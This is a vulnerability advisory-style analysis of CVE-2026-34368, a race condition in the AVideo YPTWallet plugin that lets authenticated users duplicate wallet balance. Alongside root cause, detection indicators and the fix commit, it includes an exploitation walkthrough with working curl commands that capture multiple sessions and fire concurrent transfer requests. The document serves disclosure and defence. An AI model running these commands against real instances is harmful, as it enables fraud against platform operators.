CVE-2026-34368: 
PHP vulnerability analysis and mitigation

CVE-2026-34368 is a Time-of-Check-Time-of-Use (TOCTOU) race condition vulnerability in WWBN AVideo's YPTWallet plugin, enabling authenticated attackers to duplicate wallet balance through concurrent transfer requests. It affects all versions of WWBN AVideo up to and including 26.0. The vulnerability was published on March 27, 2026, with a GitHub Security Advisory (GHSA-h54m-c522-h6qr) published March 30, 2026. It carries a CVSS v3.1 base score of 5.3 (Medium) (Github Advisory, AVideo Advisory).

The root cause is a classic TOCTOU race condition (CWE-362) in the transferBalance() method within plugin/YPTWallet/YPTWallet.php (lines 450–517). The method performs a plain SELECT to read the sender's wallet balance, validates sufficiency in PHP application logic, then issues a plain UPDATE — all without wrapping the operation in a database transaction or using SELECT ... FOR UPDATE row-level locking. Because PHP's file-based session locking serializes requests per session but not across sessions, an attacker can create multiple independent login sessions (distinct PHPSESSID cookies) for the same account, each executing the read-check-write sequence concurrently. All concurrent requests observe the same stale balance, each independently passes the sufficiency check, and the last writer wins for the sender deduction — but the receiver is credited once per concurrent request. A secondary weakness in objects/captcha.php allowed captcha tokens to be reused within a session (the $_SESSION['palavra'] value was never unset after validation), lowering the barrier to launching multiple concurrent requests (AVideo Advisory, Fix Commit).

Successful exploitation allows an authenticated attacker to create wallet balance from nothing — for example, with a $10 balance and 5 concurrent requests, the recipient can be credited up to $50 while the sender loses only $10. This enables bypassing pay-per-view charges, inflating wallet balances to purchase subscriptions without real payment, and rendering the wallet ledger inconsistent (total balances across users no longer match total deposits). There is no confidentiality or availability impact; the vulnerability is limited to high integrity impact on the financial subsystem of the AVideo platform (AVideo Advisory).

A proof-of-concept (PoC) bash script is publicly available in the GitHub Security Advisory, providing concrete curl commands targeting the plugin/YPTWallet/view/transferFunds.json.php endpoint with specific POST parameters (users_id, value, captcha) to reproduce the race condition (AVideo Advisory). Exploitation requires a low-privilege authenticated account and high attack complexity (timing concurrent requests), but is achievable with basic scripting. The EPSS score is approximately 0.026% (very low probability of exploitation in the next 30 days), and there is no evidence of in-the-wild exploitation or threat actor attribution at this time. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Github Advisory).

1. Reconnaissance: Identify a target AVideo instance running version ≤ 26.0 with the YPTWallet plugin enabled. Confirm the endpoint plugin/YPTWallet/view/transferFunds.json.php is accessible.
2. Account setup: Register or obtain credentials for an attacker-controlled account with a non-zero wallet balance, and identify a recipient (accomplice) account's users_id.
3. Create multiple independent sessions: Log in to the target multiple times using separate curl invocations, capturing a distinct PHPSESSID cookie per session:

   COOKIE=$(curl -s -c - "$TARGET/objects/login.json.php" \
     -d 'user=attacker&pass=attackerpass' | grep PHPSESSID | awk '{print $NF}')

4. Load and solve captchas: For each session, fetch the captcha image ($TARGET/objects/captcha.php) to populate $_SESSION['palavra']. Solve each captcha (manually or via OCR). On unpatched instances, the captcha token is reusable within the same session.
5. Fire concurrent transfer requests: Send all transfer requests simultaneously using background processes (&) so they race to read the same stale sender balance:

   for i in $(seq 1 5); do
     curl -s -b "PHPSESSID=${SESSIONS[$i]}" \
       "$TARGET/plugin/YPTWallet/view/transferFunds.json.php" \
       -d "users_id=$ACCOMPLICE_ID&value=10&captcha=${CAPTCHA_ANSWERS[$i]}" &
   done
   wait

6. Observe result: The sender's balance is debited only once (last write wins), while the recipient is credited once per successful concurrent request — effectively creating currency from nothing (AVideo Advisory).

• Network: Multiple near-simultaneous HTTP POST requests to plugin/YPTWallet/view/transferFunds.json.php from the same source IP or user account within milliseconds of each other; requests carrying different PHPSESSID cookies but the same users_id sender.
• Logs: Web server access logs showing bursts of POST requests to the transfer endpoint from the same account in rapid succession; application logs recording multiple successful transferBalance completions for the same sender within a very short time window.
• Database: Wallet ledger inconsistency where the sum of all user balances exceeds total recorded deposits; recipient account balance increasing by multiples of a single transfer amount in a single time window while the sender's balance decreases by only one transfer amount.
• Application: Multiple active sessions (PHPSESSID values) associated with the same users_id in the session store; captcha images fetched multiple times for the same account in rapid succession (AVideo Advisory).

The fix is available in commit 34132ad5159784bfc7ba0d7634bb5c79b769202d, which wraps the transferBalance() method in a database transaction using mysqlBeginTransaction() / mysqlCommit() / mysqlRollback() and replaces the plain SELECT with a SELECT ... FOR UPDATE via the new Wallet::getFromUserForUpdate() method to enforce row-level locking. The commit also fixes the captcha reuse issue by calling unset($_SESSION['palavra']) after successful validation. Administrators should update to a version of AVideo that includes this commit. As an interim workaround, implement database-level transaction controls and row-level locking for the transferBalance() method manually, and ensure captcha tokens are invalidated after a single use (Fix Commit, AVideo Advisory).

The vulnerability was published by DanielnetoDotCom via the WWBN/AVideo GitHub Security Advisory on March 27, 2026, and reviewed by the GitHub Advisory Database on March 30, 2026. No significant broader media coverage or notable independent researcher commentary beyond the advisory itself has been identified at this time (Github Advisory).